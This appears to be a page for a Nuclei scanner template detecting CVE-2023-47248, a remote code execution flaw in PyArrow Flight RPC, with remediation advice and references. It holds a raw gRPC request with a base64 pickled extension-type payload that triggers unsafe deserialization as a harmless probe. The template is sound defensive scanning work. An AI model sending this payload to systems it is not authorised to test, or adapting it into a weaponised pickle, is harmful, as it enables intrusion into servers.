Skip to content

PyArrow Flight RPC - Remote Code Execution

ID: CVE-2023-47248

Severity: critical

Author: smolse

Tags: cve,cve2023,rce,arrow,pyarrow,apache

PyArrow Flight RPC from v0.14.0 through v14.0.0 allows remote attackers to execute arbitrary code via a maliciously crafted Python-defined extension type.

id: CVE-2023-47248
info:
name: PyArrow Flight RPC - Remote Code Execution
author: smolse
severity: critical
description: |
PyArrow Flight RPC from v0.14.0 through v14.0.0 allows remote attackers to execute arbitrary code via a maliciously crafted Python-defined extension type.
remediation: |
Upgrade to PyArrow v14.0.1 or later.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2023-47248
- https://www.cve.org/CVERecord?id=CVE-2023-47248
- https://github.com/apache/arrow/commit/f14170976372436ec1d03a724d8d3f3925484ecf
- https://github.com/smolse/poc-or-gtfo/tree/main/CVE-2023-47248
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-47248
cwe-id: CWE-502
epss-score: 0.015960000
epss-percentile: 0.870280000
cpe: cpe:2.3:a:apache:pyarrow:*:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: apache
product: pyarrow
tags: cve,cve2023,rce,arrow,pyarrow,apache
http:
- raw:
- |
POST /arrow.flight.protocol.FlightService/DoPut HTTP/2
Host: {{Hostname}}
Content-Type: application/grpc
Te: trailers
Grpc-Accept-Encoding: identity, gzip, deflate
{{base64_decode("AAAAAS0KBAgBGgASpAIQAAAAAAAKAAwABgAFAAgACgAAAAABBAAMAAAACAAIAAAABAAIAAAABAAAAAEAAAAYAAAAAAASABgACAAGAAcADAAAABAAFAASAAAAAAABDxQAAADMAAAACAAAABAAAAAAAAAAAAAAAAAAAAACAAAAVAAAAAQAAAC8////CAAAACAAAAAUAAAAQVJST1c6ZXh0ZW5zaW9uOm5hbWUAAAAAFwAAAGFycm93LnB5X2V4dGVuc2lvbl90eXBlAAgADAAEAAgACAAAAAgAAAAkAAAAGAAAAEFSUk9XOmV4dGVuc2lvbjptZXRhZGF0YQAAAAAmAAAAgASVGwAAAAAAAACMCGJ1aWx0aW5zlIwHY29tcGxleJSTlClSlC4AAAQABAAEAAAA")}}
matchers-condition: and
matchers:
- type: word
part: header
words:
- "'complex' object has no attribute 'storage_type'"
- type: status
status:
- 200
# digest: 4a0a00473045022100bff33d8491024dab90dd6b51a0dc000d7be0e50ab79d7474a105cc8968a18f3702202d1f64de8e7315e2981b01110cc7adef931e3e9cb2fa2905d9ea62eadd2365d5:922c64590222798bb761d5b6d8e72950

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2023/CVE-2023-47248.yaml"

View on Github